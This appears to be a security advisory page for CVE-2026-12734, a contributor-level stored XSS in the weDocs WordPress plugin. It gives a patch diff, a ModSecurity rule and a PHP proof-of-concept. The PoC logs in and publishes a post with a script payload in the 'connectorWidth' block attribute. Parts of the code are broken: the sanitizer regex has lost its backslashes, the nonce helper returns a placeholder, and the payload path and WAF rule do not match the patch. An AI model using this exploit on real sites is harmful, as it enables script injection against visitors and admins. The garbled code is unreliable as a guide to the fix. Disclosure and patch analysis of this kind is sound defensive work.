CVE-2026-12734: weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot <= 2.3.0 Authenticated (Contributor+) Stored Cross-Site Scripting via 'connectorWidth' Block Attribute PoC, Patch Analysis & Rule

--- a/wedocs/assets/build/blocks/Sidebar/render.php
+++ b/wedocs/assets/build/blocks/Sidebar/render.php
@@ -76,6 +76,61 @@
 }

 /**
+ * Validate a CSS length value (e.g. "1px", "0.5rem", "10%").
+ *
+ * Block attributes are stored unsanitized, so any string reaching a
+ * style attribute must be validated before output. Anything that is not
+ * a plain CSS length falls back to a safe default to prevent attribute
+ * breakouts / stored XSS.
+ *
+ * @since 2.3.1
+ *
+ * @param mixed  $value    The raw value to validate.
+ * @param string $fallback Fallback length when validation fails.
+ *
+ * @return string A safe CSS length value.
+ */
+if ( ! function_exists( 'wedocs_sanitize_css_length' ) ) {
+    function wedocs_sanitize_css_length( $value, $fallback = '1px' ) {
+        if ( ! is_string( $value ) && ! is_numeric( $value ) ) {
+            return $fallback;
+        }
+
+        $value = trim( (string) $value );
+
+        // Allow a bare number (treated as px-less) or number + unit.
+        if ( preg_match( '/^d+(.d+)?(px|em|rem|%|vh|vw|pt)?$/', $value ) ) {
+            return $value;
+        }
+
+        return $fallback;
+    }
+}
+
+/**
+ * Validate an HTML heading/inline tag name against a whitelist.
+ *
+ * esc_attr() is NOT a safe escaper for tag names — a value like
+ * "h3 onclick=alert(1)" survives it and breaks out into attributes.
+ * Only a strict whitelist is safe here.
+ *
+ * @since 2.3.1
+ *
+ * @param mixed  $tag      The raw tag name.
+ * @param string $fallback Fallback tag when not whitelisted.
+ *
+ * @return string A safe, whitelisted tag name.
+ */
+if ( ! function_exists( 'wedocs_sanitize_tag_name' ) ) {
+    function wedocs_sanitize_tag_name( $tag, $fallback = 'h3' ) {
+        $allowed = [ 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span', 'p' ];
+        $tag     = is_string( $tag ) ? strtolower( trim( $tag ) ) : '';
+
+        return in_array( $tag, $allowed, true ) ? $tag : $fallback;
+    }
+}
+
+/**
  * Process WordPress color class and add to appropriate output
  *
  * @param string $parsed_color The parsed color value
@@ -134,8 +189,9 @@

         $connector_width = intval( str_replace( 'px', '', $tree_styles['indentation'] ?? '20' ) ) / 2;
         $connector_color = wedocs_get_color_value( $tree_styles['connectorColor'] ?? '', '#e5e7eb' );
+        $line_width      = wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' );

-        return '<div class="wedocs-connector-line" style="position: absolute; left: -' . $connector_width . 'px; top: 0; bottom: 0; width: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>';
+        return '<div class="wedocs-connector-line" style="position: absolute; left: -' . esc_attr( $connector_width ) . 'px; top: 0; bottom: 0; width: ' . esc_attr( $line_width ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>';
     }
 }
 if ( ! function_exists( 'render_wedocs_sidebar' ) ) {
@@ -151,8 +207,8 @@
     if ($enable_nested_articles === '') {
         $enable_nested_articles = true;
     }
-        $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';
-        $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';
+        $section_title_tag      = wedocs_sanitize_tag_name( $attributes['sectionTitleTag'] ?? 'h3', 'h3' );
+        $article_title_tag      = wedocs_sanitize_tag_name( $attributes['articleTitleTag'] ?? 'h4', 'h4' );
         // Styling attributes
         $container_styles   = $attributes['containerStyles'] ?? [];
         $section_styles     = $attributes['sectionStyles'] ?? [];
@@ -443,7 +499,7 @@
         if ( $level > 0 ) {
             $section_style .= 'margin-left: ' . $indentation . 'px;';
         }
-        $section_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';
+        $section_style .= 'margin-bottom: ' . wedocs_sanitize_css_length( $tree_styles['itemSpacing'] ?? '4px', '4px' ) . ';';
         $section_style .= 'position: relative;';
         $header_style = '';
         if ( $level === 0 ) {
@@ -551,7 +607,7 @@
                         str_replace( 'px', '', $tree_styles['indentation'] ?? '20' )
                     ) . 'px;';
                 if ( ! empty( $tree_styles['connectorColor'] ) ) {
-                    $children_style .= 'border-left: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . ' solid ' . esc_attr(
+                    $children_style .= 'border-left: ' . wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' ) . ' solid ' . esc_attr(
                             $tree_styles['connectorColor']
                         ) . ';';
                 }
@@ -607,7 +663,7 @@
         if ( $level > 0 ) {
             $article_style .= 'margin-left: ' . $indentation . 'px;';
         }
-        $article_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';
+        $article_style .= 'margin-bottom: ' . wedocs_sanitize_css_length( $tree_styles['itemSpacing'] ?? '4px', '4px' ) . ';';
         $article_style .= 'position: relative;';
         $icon_style = '';
         $icon_color = wedocs_get_color_value( $doc_list_styles['textColor'] ?? '', '#6c757d' );
@@ -649,7 +705,7 @@
                         str_replace( 'px', '', $tree_styles['indentation'] ?? '20' )
                     ) . 'px;';
                 if ( ! empty( $tree_styles['connectorColor'] ) ) {
-                    $children_style .= 'border-left: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . ' solid ' . esc_attr(
+                    $children_style .= 'border-left: ' . wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' ) . ' solid ' . esc_attr(
                             $tree_styles['connectorColor']
                         ) . ';';
                 }
--- a/wedocs/assets/build/index.asset.php
+++ b/wedocs/assets/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'b61e8a2d02b8e18f27fc');
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '03d095925f226ea789ba');
--- a/wedocs/includes/Admin/Migrate.php
+++ b/wedocs/includes/Admin/Migrate.php
@@ -47,6 +47,34 @@
     }

     /**
+     * Verify a migration AJAX request is authorized.
+     *
+     * The BetterDocs->weDocs migration creates/updates posts, updates
+     * options and deactivates plugins, so it must be gated behind both a
+     * nonce check and an administrator capability check. Without these,
+     * any logged-in user (subscriber+) could trigger it.
+     *
+     * @since 2.3.1
+     *
+     * @return void Sends a JSON error and dies when unauthorized.
+     */
+    private static function verify_migration_request() {
+        if ( ! check_ajax_referer( 'wedocs-migration', 'nonce', false ) ) {
+            wp_send_json_error( [
+                'success' => false,
+                'message' => __( 'Security verification failed.', 'wedocs' ),
+            ], 403 );
+        }
+
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( [
+                'success' => false,
+                'message' => __( 'You are not allowed to perform this action.', 'wedocs' ),
+            ], 403 );
+        }
+    }
+
+    /**
      * Check migration availability.
      *
      * @since 2.0.0
@@ -54,6 +82,8 @@
      * @return void
      */
     public static function need_migration() {
+        self::verify_migration_request();
+
         // Check is betterdocs available.
         if ( ! self::is_betterdocs_exists() ) {
             wp_send_json_error( [
@@ -204,6 +234,8 @@
      * @return void
      */
     public static function do_migration() {
+        self::verify_migration_request();
+
         $migratable_docs      = self::betterdocs_migratable_docs();
         $migrated_docs_length = ! empty( $_POST[ 'migratedDocLength' ] ) ? $_POST[ 'migratedDocLength' ] : 0;

--- a/wedocs/includes/Assets.php
+++ b/wedocs/includes/Assets.php
@@ -74,8 +74,10 @@
                     'aiProviderConfigs' => wedocs_get_ai_provider_configs(),
                     'adminUrl'      => admin_url(),
                     'hasManageCap'  => current_user_can( 'manage_options' ),
+                    'migrationNonce' => wp_create_nonce( 'wedocs-migration' ),
                     'weDocsUrl'     => admin_url( 'admin.php?page=wedocs#/' ),
                     'pro_active'    => wedocs_is_pro_active(),
+                    'dokan_active'  => is_plugin_active( 'dokan-lite/dokan.php' ),
                     'upgradePopupContent' => wedocs_get_upgrade_popup_content(),
                     'siteUrl'       => home_url( '/' ),
                 ),
--- a/wedocs/vendor/composer/installed.php
+++ b/wedocs/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'tareq1988/wedocs',
-        'pretty_version' => 'v2.3.0',
-        'version' => '2.3.0.0',
-        'reference' => '547bd0e257a4ed44636c5a185e52f5f197a85abf',
+        'pretty_version' => 'v2.3.1',
+        'version' => '2.3.1.0',
+        'reference' => 'dd786d13e348fb7f9732c7e71058463dbfb8367e',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'tareq1988/wedocs' => array(
-            'pretty_version' => 'v2.3.0',
-            'version' => '2.3.0.0',
-            'reference' => '547bd0e257a4ed44636c5a185e52f5f197a85abf',
+            'pretty_version' => 'v2.3.1',
+            'version' => '2.3.1.0',
+            'reference' => 'dd786d13e348fb7f9732c7e71058463dbfb8367e',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wedocs/wedocs.php
+++ b/wedocs/wedocs.php
@@ -3,7 +3,7 @@
 Plugin Name: weDocs
 Plugin URI: https://wedocs.co/
 Description: A documentation plugin for WordPress
-Version: 2.3.0
+Version: 2.3.1
 Author: weDevs
 Author URI: https://wedocs.co/?utm_source=wporg&utm_medium=banner&utm_campaign=author-uri
 License: GPL2
@@ -60,7 +60,7 @@
      *
      * @var string
      */
-    const VERSION = '2.3.0';
+    const VERSION = '2.3.1';

     /**
      * The plugin url.

# Atomic Edge WAF Rule - CVE-2026-12734
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202612734,phase:2,deny,status:403,chain,msg:'CVE-2026-12734 weDocs Stored XSS via connectorWidth',severity:'CRITICAL',tag:'CVE-2026-12734'"
SecRule ARGS_POST:action "@streq wedocs_sidebar_block_render" "chain"
SecRule ARGS_POST:connectorWidth "@rx <|>" ""

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12734 - weDocs Stored XSS via 'connectorWidth' Block Attribute

$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'contributor';         // Change to contributor-level user
$password = 'password';           // Change to user password

// Login to WordPress
$login_url = $target_url . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Craft the malicious block attributes with XSS payload in connectorWidth
$payload = '1px; } /* <script>alert(1)</script> */;';

// Create a new post with the weDocs Sidebar block containing the malicious connectorWidth
$rest_api_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
    'title' => 'CVE-2026-12734 PoC',
    'content' => '<!-- wp:wedocs/sidebar {"containerStyles":{"indentation":"20px","connectorColor":"#e5e7eb","connectorWidth":"' . $payload . '"}} /-->',
    'status' => 'publish'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_api_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . get_nonce($target_url, $username, $password) // Obtain nonce via separate request
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Output response
echo "PoC executed. Check the created post for stored XSS.n";

// Helper function to get WP nonce (simplified; in practice use a separate request)
function get_nonce($url, $user, $pass) {
    // This would require additional login and nonce extraction
    // For brevity, assume nonce is obtained via a prior REST API call
    return 'wp_nonce_placeholder';
}
?>